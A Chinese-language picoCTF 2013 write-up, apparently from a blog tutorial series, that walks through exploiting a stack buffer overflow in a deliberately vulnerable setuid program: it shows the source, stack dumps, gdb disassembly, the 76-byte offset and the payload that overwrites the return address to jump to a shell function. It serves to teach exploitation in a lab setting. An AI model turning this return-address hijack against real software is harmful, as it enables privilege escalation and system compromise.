pico-ctf-2013 overflow-3

来源:互联网 发布:网络是一把双刃剑 编辑:程序博客网 时间:2024/05/21 03:19

栈溢出入门教程三

overflow3.c

#include <stdio.h>#include <string.h>#include <unistd.h>#include <sys/types.h>#include "dump_stack.h"/* * Goal: Get the program to run this function. */void shell(void) {    execl("/bin/sh", "sh", NULL);}void vuln(char *str) {    char buf[64];    strcpy(buf, str);    dump_stack((void **) buf, 21, (void **) &str);}int main(int argc, char **argv) {    if (argc != 2) {        printf("Usage: buffer_overflow [str]\n");        return 1;    }    uid_t euid = geteuid();    setresuid(euid, euid, euid);    printf("shell function = %p\n", shell);    vuln(argv[1]);    return 0;}

checksec的结果:

gdb-peda$ checksecCANARY    : disabledFORTIFY   : disabledNX        : disabledPIE       : disabledRELRO     : Partial

几乎没有什么保护,脆弱的程序啊.
思路:由上面的c代码可见,如果我们能够执行shell函数,我们就能拿到shell.但是没有条件跳转过去.但是我们有溢出这个漏洞可以利用,劫持eip,使其跳转到shell函数.
1.找出返回值地址.

./overflow3 $(python -c "print 'A'*64+'B'*4")shell function = 0x80485f8Stack dump:0xffffced0: 0xffffd196 (first argument)0xffffcecc: 0x080486bc (saved eip)0xffffcec8: 0xffffcef8 (saved ebp)0xffffcec4: 0xf7ffd9000xffffcec0: 0x424242420xffffcebc: 0x414141410xffffceb8: 0x414141410xffffceb4: 0x414141410xffffceb0: 0x414141410xffffceac: 0x414141410xffffcea8: 0x414141410xffffcea4: 0x414141410xffffcea0: 0x414141410xffffce9c: 0x414141410xffffce98: 0x414141410xffffce94: 0x414141410xffffce90: 0x414141410xffffce8c: 0x414141410xffffce88: 0x414141410xffffce84: 0x414141410xffffce80: 0x41414141 (beginning of buffer)

上面结果给出了:eip的地址是0xffffcecc,与beginning of buffer(0xffffce80)相差76,接下来需要获取shell函数的地址.

objdump -d overflow3|grep ">:"0804837c <_init>:080483b0 <setresuid@plt-0x10>:080483c0 <setresuid@plt>:080483d0 <printf@plt>:080483e0 <geteuid@plt>:080483f0 <strcpy@plt>:08048400 <puts@plt>:08048410 <__gmon_start__@plt>:08048420 <__libc_start_main@plt>:08048430 <putchar@plt>:08048440 <execl@plt>:08048450 <_start>:08048480 <__do_global_dtors_aux>:080484e0 <frame_dummy>:08048504 <dump_stack>:080485f8 <shell>:0804861c <vuln>:08048650 <main>:080486d0 <__libc_csu_init>:08048740 <__libc_csu_fini>:08048742 <__i686.get_pc_thunk.bx>:08048750 <__do_global_ctors_aux>:0804877c <_fini>:

shell地址:0x080485f8.于是构造下面payload:./overflow3 $(python -c “print ‘A’*76+’\xf8\x85\x04\x08’”).
结果图:
方法二:对于这类需要劫持控制流,上面这种属于特殊情况.因为它执行了了dump_stack函数,将相关的堆栈信息输出了.对于那些没有将栈信息输出的程序,我们可以通过gdb调试来计算出返回值地址和buffer start之间的距离,然后再覆盖其返回值地址,劫持控制流.

gdb --args ./overflow3 $(python -c "print 'A'*64+'B'*4")

vuln函数汇编代码:

0x0804861c <+0>:    push   ebp0x0804861d <+1>:    mov    ebp,esp0x0804861f <+3>:    sub    esp,0x580x08048622 <+6>:    mov    eax,DWORD PTR [ebp+0x8]0x08048625 <+9>:    mov    DWORD PTR [esp+0x4],eax0x08048629 <+13>:   lea    eax,[ebp-0x48]0x0804862c <+16>:   mov    DWORD PTR [esp],eax0x0804862f <+19>:   call   0x80483f0 <strcpy@plt>0x08048634 <+24>:   lea    eax,[ebp+0x8]0x08048637 <+27>:   mov    DWORD PTR [esp+0x8],eax0x0804863b <+31>:   mov    DWORD PTR [esp+0x4],0x150x08048643 <+39>:   lea    eax,[ebp-0x48]0x08048646 <+42>:   mov    DWORD PTR [esp],eax0x08048649 <+45>:   call   0x8048504 <dump_stack>0x0804864e <+50>:   leave  0x0804864f <+51>:   ret  

我们在0x0804861d和0x0804864e分别下断点.

b * 0x0804861db * 0x0804864e
0x0804861d处的栈空间内容:gdb-peda$ x/32x $esp-0x500xffffce18: 0x000000e0  0x00000000  0xf7ffd000  0x0804827c0xffffce28: 0x34303840  0x38663538  0xffffce98  0xf7e057980xffffce38: 0xf7e40bcb  0x00000000  0xf7faf000  0xf7faf0000xffffce48: 0xffffce98  0xf7e48046  0xf7fafd60  0x080488390xffffce58: 0xffffce78  0xf7e48020  0x08048839  0xf7ffd9180xffffce68: 0xffffce98  0x080486bc  0xffffd165  0x080485f80xffffce78: 0x000003e8  0xf7e2d9eb  0xf7faf3dc  0x0804823c0xffffce88: 0x080486d9  0x000003e8  0xf7faf000  0xf7faf000

断点:0x0804864e的栈信息

gdb-peda$ x/30x 0xffffce70-0x500xffffce20: 0x41414141  0x41414141  0x41414141  0x414141410xffffce30: 0x41414141  0x41414141  0x41414141  0x414141410xffffce40: 0x41414141  0x41414141  0x41414141  0x414141410xffffce50: 0x41414141  0x41414141  0x41414141  0x414141410xffffce60: 0x42424242  0xf7ffd900  0xffffce98  0x080486bc0xffffce70: 0xffffd165  0x080485f8  0x000003e8  0xf7e2d9eb

由于vuln函数的返回地址是0x080486bc,由此我们可以计算出返回地址距buffer start的距离.

0xffffce6c-0xffffce20=0x4c=76

运行:

./overflow $(python -c "A"*76+'\xf8\x85\x04\x08')

获得一个新的shell.
其实本题我们也可以通过shellcode,来获取一个新的shell.
这个方法在下面的文章你会看到的.
注:由于操作系统的原因,函数的地址可能会有不同,在此一定要以你的电脑上的地址为准.附带相关文件地址:文件地址

0 0
原创粉丝点击